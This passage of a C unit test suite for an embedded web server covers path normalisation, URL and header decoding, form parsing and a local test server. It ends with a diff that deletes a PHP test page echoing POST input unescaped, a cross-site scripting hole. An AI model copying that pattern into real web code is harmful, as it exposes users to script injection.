ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
return NULL;
}
static const char *test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
return NULL;
}
static const char *test_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
return NULL;
}
static const char *test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
return NULL;
}
static const char *test_to64(void) {
ASSERT(to64("0") == 0);
ASSERT(to64("") == 0);
ASSERT(to64("123") == 123);
ASSERT(to64("-34") == -34);
ASSERT(to64("3566626116") == 3566626116);
return NULL;
}
static const char *test_parse_port_string(void) {
static const char *valid[] = {
"1", "1.2.3.4:1",
#if defined(USE_IPV6)
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
#endif
NULL
};
static const char *invalid[] = {
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
};
union socket_address sa;
int i;
for (i = 0; valid[i] != NULL; i++) {
ASSERT(parse_port_string(valid[i], &sa) != 0);
}
for (i = 0; invalid[i] != NULL; i++) {
ASSERT(parse_port_string(invalid[i], &sa) == 0);
}
return NULL;
}
static const char *test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
return NULL;
}
static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234";
char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "234") == 0);
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "aa bb") == 0);
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
ASSERT(strcmp(buf, "1234") == 0);
buf[0] = 'x';
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0);
return NULL;
}
static const char *test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
return NULL;
}
static int cb1(struct mg_connection *conn) {
// We're not sending HTTP headers here, to make testing easier
mg_printf(conn, "%s %s %s",
conn->server_param == NULL ? "?" : (char *) conn->server_param,
conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
return 1;
}
static const char *test_regular_file(void) {
static const char *fname = "main.c";
int reply_len, file_len;
char *reply, *file_data;
file_stat_t st;
ASSERT(stat(fname, &st) == 0);
ASSERT(st.st_size > 0);
ASSERT((file_data = read_file(fname, &file_len)) != NULL);
ASSERT(file_len == st.st_size);
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len,
"GET /%s.c HTTP/1.0\r\n\r\n", fname);
ASSERT(reply != NULL);
ASSERT(reply_len > 0);
// TODO(lsm): test headers and content
free(reply);
free(file_data);
return NULL;
}
static const char *test_server_param(void) {
int reply_len;
char *reply;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
"GET /cb1 HTTP/1.0\r\n\r\n");
ASSERT(reply != NULL);
ASSERT(reply_len == 15);
// cb1() does not send HTTP headers
ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0);
//printf("%d [%.*s]\n", reply_len, reply_len, reply);
free(reply);
return NULL;
}
static int error_handler(struct mg_connection *conn) {
mg_printf(conn, "error: %d", conn->status_code);
return 1;
}
static const char *test_error_handler(void) {
int reply_len;
char *reply;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
"GET /non_exist HTTP/1.0\r\n\r\n");
ASSERT(reply != NULL);
ASSERT(reply_len == 10);
ASSERT(memcmp(reply, "error: 404", 10) == 0);
free(reply);
return NULL;
}
static void *server_thread(void *param) {
int i;
for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1);
return NULL;
}
static const char *test_server(void) {
struct mg_server *server = mg_create_server("foo");
ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
mg_add_uri_handler(server, "/cb1", cb1);
mg_set_http_error_handler(server, error_handler);
mg_start_thread(server_thread, server);
RUN_TEST(test_regular_file);
RUN_TEST(test_server_param);
RUN_TEST(test_error_handler);
// TODO(lsm): come up with a better way of thread sync
sleep(1);
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
mg_destroy_server(&server);
ASSERT(server == NULL);
return NULL;
}
#define DISP "Content-Disposition: form/data; "
#define CRLF "\r\n"
#define BOUNDARY "--xyz"
static const char *test_parse_multipart(void) {
char a[100], b[100];
const char *p;
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
"some_content" CRLF BOUNDARY CRLF
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
"another_content" CRLF BOUNDARY CRLF
"--" CRLF;
int n, n2, len, f1_len = sizeof(f1) - 1;
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 12);
ASSERT(memcmp(p, "some_content", len) == 0);
ASSERT(strcmp(a, "f1") == 0);
ASSERT(b[0] == '\0');
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 15);
ASSERT(memcmp(p, "another_content", len) == 0);
ASSERT(strcmp(a, "f2") == 0);
ASSERT(strcmp(b, "foo bar.txt") == 0);
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
b, sizeof(b), &p, &len)) == 0);
return NULL;
}
static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix);
RUN_TEST(test_remove_double_dots);
RUN_TEST(test_parse_http_message);
RUN_TEST(test_parse_port_string);
RUN_TEST(test_to64);
RUN_TEST(test_url_decode);
RUN_TEST(test_base64_encode);
RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var);
RUN_TEST(test_next_option);
RUN_TEST(test_server);
RUN_TEST(test_parse_multipart);
return NULL;
}
int __cdecl main(void) {
const char *fail_msg = run_all_tests();
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
}
build/test/x.php
-9
View File
@@ -1,9 +0,0 @@
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>